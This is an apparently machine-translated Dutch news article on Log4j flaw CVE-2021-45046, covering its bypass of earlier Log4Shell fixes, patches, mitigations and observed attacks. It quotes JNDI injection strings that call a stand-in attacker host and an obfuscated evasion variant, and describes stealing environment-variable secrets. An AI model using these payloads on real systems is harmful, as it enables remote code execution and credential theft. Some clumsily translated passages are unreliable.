Het nieuws werd onlangs vrijgegeven dat het was een andere kwetsbaarheid geïdentificeerd in JNDI-lookup-implementatie in de Log4j 2-bibliotheek (CVE-2021-45046), die optreedt ondanks de correcties die zijn toegevoegd in versie 2.15 en ongeacht het gebruik van de beveiligingsinstelling "log4j2.noFormatMsgLookup".
Het probleem het is vooral gevaarlijk voor oudere versies van Log4j 2., beveiligd met de "noFormatMsgLookup"-vlag, omdat u hiermee de bescherming tegen eerdere kwetsbaarheden kunt omzeilen (Log4Shell, CVE-2021-44228), waardoor u uw code op de server kunt uitvoeren.
Voor versie 2.15 gebruikers, de bewerking is beperkt tot het creëren van voorwaarden voor de abnormale beëindiging van de aanvraag wegens uitputting van de beschikbare middelen.
Kwetsbaarheid alleen van invloed op systemen die context zoeken gebruiken, zoals $ {ctx: loginId}, of thread context map (MDC) sjablonen, zoals% X,% mdc en% MDC, voor registratie.
De operatie komt neer op het creëren van voorwaarden voor het verzenden van gegevens met JNDI-substituties naar het register bij gebruik van contextquery's of MDC-sjablonen in de toepassing, die de regels bepalen voor het formatteren van de uitvoer naar het register.
De LunaSec-onderzoekers merkten op: dan voor Log4j-versies lager dan 2.15, dit beveiligingslek kan worden gebruikt als een nieuwe vector voor een Log4Shell-aanval, wat leidt tot code-uitvoering als ThreadContext-expressies worden gebruikt bij het posten naar het register, inclusief externe gegevens, ongeacht of de vlag is ingesteld voor bescherming. Sjabloon "NoMsgFormatLookups" of "% m {nolookups}".
De beschermingsbypass is beperkt tot het feit dat in plaats van de directe vervanging "$ {jndi: ldap: //example.com/a}", deze uitdrukking wordt vervangen door de waarde van een tussenvariabele die in de regels wordt gebruikt om uitchecken op te maken het register.
Als het contextverzoek $ {ctx: apiversion} bijvoorbeeld wordt gebruikt bij het verzenden naar het register, kan de aanval worden uitgevoerd door de gegevens "$ {jndi: ldap: //attacker.com/a}" in de waarde geschreven naar afwijkingsvariabele.
In versie Log4j 2.15 kan de kwetsbaarheid worden gebruikt om DoS-aanvallen uit te voeren bij het doorgeven van waarden aan ThreadContext, die door de patroonverwerking van het uitvoerformaat loopt.
Om te kunnen proberen de ondervonden problemen op te lossen updates 2.16 en 2.12.2 zijn uitgebracht om de kwetsbaarheid te blokkeren. In de Log4j 2.16-tak is, naast de fixes die zijn geïmplementeerd in versie 2.15 en het binden van JNDI LDAP-verzoeken aan "localhost", standaard de JNDI-functionaliteit volledig uitgeschakeld en is ondersteuning voor berichtvervangingssjablonen verwijderd.
Als tijdelijke oplossing wordt voorgesteld om de klasse JndiLookup uit het klassenpad te verwijderen (bijvoorbeeld "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class").
De acties ondernomen door de verschillende projecten:
naar NginxOp basis van de njs-module is een script opgesteld dat de verzending van JNDI-expressies in HTTP-headers, URI's en de body van POST-verzoeken blokkeert. Het script kan worden gebruikt op frontend-servers om backends te beschermen.
Voor HAProxy worden configuratieregels gegeven om de werking van CVE-2021-44228 te blokkeren.
Naast de eerder geïdentificeerde aanvallen gericht op de vorming van een botnet voor cryptocurrency-mining, is er gebruik gemaakt van een kwetsbaarheid in Log4J 2 om kwaadaardige ransomware te verspreiden die de inhoud van de schijven versleutelt en losgeld vereist voor decodering.
Checkpoint heeft ongeveer 60 varianten geïdentificeerd verschillende soorten exploits die voor aanvallen worden gebruikt.
CloudFlare meldde dat pogingen om de manifestatie van een kwetsbaarheid in Log4j . te testen ze werden op 1 december geïdentificeerd, dat wil zeggen 8 dagen vóór de openbaarmaking van het probleem. De eerste pogingen om het beveiligingslek te misbruiken werden slechts 9 minuten nadat de informatie was bekendgemaakt, geregistreerd. Het CloudFlare-rapport vermeldt ook het gebruik van vervangingen zoals "$ {env: FOO: -j} ndi: $ {lower: L} geeft $ {lower: P}" om het masker "jndi: ldap" weg te laten en het gebruik van $ {env} aanvalsuitdrukkingen om informatie over wachtwoorden en toegangssleutels die zijn opgeslagen in omgevingsvariabelen naar een externe server over te dragen, en $ {sys}-expressies om informatie over het systeem te verzamelen.
Eindelijk als u er meer over wilt weten je kunt de volgende link.